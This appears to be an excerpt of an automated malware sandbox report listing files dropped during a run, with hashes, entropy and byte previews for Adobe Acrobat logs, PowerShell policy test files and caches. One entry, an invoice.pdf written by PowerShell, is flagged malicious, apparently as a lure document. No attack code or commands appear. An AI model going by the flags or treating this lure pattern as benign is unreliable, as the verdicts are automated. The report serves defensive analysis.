Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI6faea.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3qlNWrwle:Qw946cPbiOxDlbYnuRK+bD3AWrww
MD5:	B0E324DA12A1B653F7D4A84D499CBE6D
SHA1:	F5C28E8A6FCE386181A5D774A02C7507D04798E9
SHA-256:	A41B89DDD24CC7154C9FAA18ACCC4DA3BEBFB9C251A5EAECD458C369D35F773F
SHA-512:	FC53E637434613DF7635D689DA809E26E09233BD1A2D9A1648BF9F54620CF35C53A8A56B6FF891759C1D0E30DFC167CC6A39EAD82DC92AF6B119F1AF7768640C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.0.5.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1nqvhfa3.3ed.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sraqzwu3.nbz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ni4kwf_1xlfs6v_5g8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9u3v1n1_1xlfs70_5g8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-05-30-373.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363265268834556
Encrypted:	false
SSDEEP:	384:TQ4X2XjX+X0XdXHIXVmGmYmPmtm/mMBmWmMMrMfzdzhSWSySfSsSTqm0mMmGXKXa:0fi
MD5:	4CF945FF1C8B261B07E1A699C5752D87
SHA1:	FB441F6A9372955B4A0EA22427BA884E94397D9A
SHA-256:	7F37288D81625A9A42525B9909AB37128F6BFE3CA989BF619321391935F31179
SHA-512:	9F993B33F2AEABF9CFB8CAEE60C1C05F0E04F4CE6141E763549B5D533E3E7C99D4B25A1D0E93D416B7E13267C8481EEE80F07BA6CE5FF1E493E47B29FCBF7A4E
Malicious:	false
Preview:	SessionID=9be0ce28-0bff-49a4-b359-2665ced52bd9.1736528730441 Timestamp=2025-01-10T12:05:30:441-0500 ThreadID=7948 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9be0ce28-0bff-49a4-b359-2665ced52bd9.1736528730441 Timestamp=2025-01-10T12:05:30:442-0500 ThreadID=7948 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9be0ce28-0bff-49a4-b359-2665ced52bd9.1736528730441 Timestamp=2025-01-10T12:05:30:442-0500 ThreadID=7948 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9be0ce28-0bff-49a4-b359-2665ced52bd9.1736528730441 Timestamp=2025-01-10T12:05:30:442-0500 ThreadID=7948 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9be0ce28-0bff-49a4-b359-2665ced52bd9.1736528730441 Timestamp=2025-01-10T12:05:30:442-0500 ThreadID=7948 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393014014698696
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbQocbB0I97cbR:V3fOCIdJDeGHB9I
MD5:	5E4D5E3B39358ADF6F471BDC93DB12F8
SHA1:	2D5C1A4A3EC7D17F638EB6EAF501AE687FD7DD0B
SHA-256:	C104E7E398C6E0080A5330FF111723FBF4A4BA04E327E76D444753867BA00ED1
SHA-512:	065606861D4ACA7B81E426A6A79FBB223224595FC8BFF224ABD05C7BE21C708E5565D06AED8DFF19CC9FA667185D2F17EDE4D05CEE062854CF3413B523EF0B78
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\8229164d-9ff6-48ed-9f3b-9c8928cfe252.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9de6347e-8659-4af7-a66a-6595dadf850d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a22d7113-735a-4c01-afd5-a0a482014da1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c5a01e3d-9feb-4bfd-8ae9-a2f80bfe0af4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
